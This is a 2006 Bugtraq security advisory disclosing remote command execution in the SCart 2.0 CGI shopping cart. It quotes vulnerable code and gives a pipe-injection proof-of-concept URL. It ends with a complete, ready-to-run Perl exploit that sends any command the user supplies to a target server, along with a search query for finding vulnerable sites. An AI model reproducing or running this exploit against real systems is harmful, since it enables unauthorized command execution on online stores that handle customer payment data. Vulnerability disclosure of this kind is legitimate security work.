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Message-ID: <20060603080106.16114.qmail@securityfocus.com>
Date: 3 Jun 2006 08:01:06 -0000
From: eufrato@...il.com
To: bugtraq@...urityfocus.com
Subject: [ECHO_ADV_32$2006] SCart 2.0 Remote Code Execution


____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

					.OR.ID
ECHO_ADV_32$2006

---------------------------------------------------------------------------
[ECHO_ADV_32$2006] SCart 2.0 Remote Code Execution
---------------------------------------------------------------------------

Author       : M.Hasran Addahroni a.k.a K-159
Date         : June, 3th 2006
Location     : Indonesia, Bali
Web          : http://advisories.echo.or.id/adv/adv32-K-159-2006.txt
Critical Lvl : Highly critical
Impact       : System access
Where        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SCart 

Application : SCart 
version     : 2.0
URL         : http://www.scartserver.com
Description :

SCart is a free shopping cart online store service with e-commerce and real-time credit card and check payment processing service.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~~
In scart.cgi we have source code like this

-----------------------scart.cgi-----------------------------
...
require 'scart.pl';
require '/home/scart/cgi-bin/2.0/scartserver.cgi';
...
--------------------------------------------------------------

then at scartserver.cgi in cgi-bin folder the code like this

---------------scartserver.cgi--------------------------------
...
$HTML{TAB2} = "$baseurl$cgiurl/?action=show_page&base=base2.html&page=browse.txt";
$HTML{TAB3} = "$baseurl$cgiurl/?action=show_page&base=base3.html&page=specials.txt";
$HTML{BUTTONBAR} = $buttonbar;
$HTML{VIEWCART} = "$baseurl$cgiurl?action=viewcart";
$HTML{CHECKOUT} = "$secureurl$cgiurl?action=checkout";
$HTML{TRACK} = "$baseurl$cgiurl?action=show_track";
$HTML{HELP} = "$baseurl$cgiurl/?action=show_page&base=base.html&page=help.txt";
...
------------------------------------------------------------------

Variables $baseurl and $cgiurl are not properly sanitized.This can be used to execute arbitrary commands.

Proof Of Concept:
~~~~~~~~~~~~~~~~~

http://www.scartserver.com/2.0/[client_user_name]/scart.cgi/?action=show_page&base=base2.html&page=|id|

Solution:
~~~~~~~~~

no solution yet

Notification:
~~~~~~~~~~~~

 vendor was contact but no response.

---------------------------------------------------------------------------
Shoutz:
~~~~~~~
~ ping - my dearest wife, for all the luv the tears n the breath 
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ sinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit
~ newbie_hacker@...oogroups.com 
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

Perl Exploit:
~~~~~~~~~~~~

#!/usr/bin/perl
##
#     SCart 2.0 Remote Code Execution Exploit
#          Bugs Found & code By K-159
#               
## base on advisory at http://advisories.echo.or.id/adv/adv32-K-159-2006.txt
#   
#  echo.or.id (c) 2006
#
##
# usage:
# perl scart.pl <target> </path/> "cmd"
#
# Google Dork : site:scartserver.com
#
# Greetz: my soul mate,echo|staff,aikmel|crew,masterpop3,SinChan,rizal,etc
#
# Contact: eufrato[at]gmail.com www.echo.or.id #e-c-h-o @irc.dal.net
#
use IO::Socket;
use LWP::Simple;

sub Usage {
print STDERR "\n ========================================================= \r\n";
print STDERR "      *SCart 2.0 Remote Code Execution Exploit* \r\n";
print STDERR "                Bugs Found by K-159 \r\n";
print STDERR "         www.echo.or.id #e-c-h-o irc.dal.net \r\n";
print STDERR "        Usage: $0 <www.target.com> </path/> \"cmd\" \r\n";
print STDERR "============================================================= \r\n";
exit;
}

if (@ARGV < 3)
{
 Usage();
}


$host = @ARGV[0];
$path = @ARGV[1];
$command = @ARGV[2];

print "\n[+] Conecting to $host\n";

my $result = get("http://$host$path/scart.cgi?action=show_page&base=base2.html&page=browse.txt|$command|");

if (defined $result) {
print $result;
}
else {
print "Exploit Failed.\n";
}


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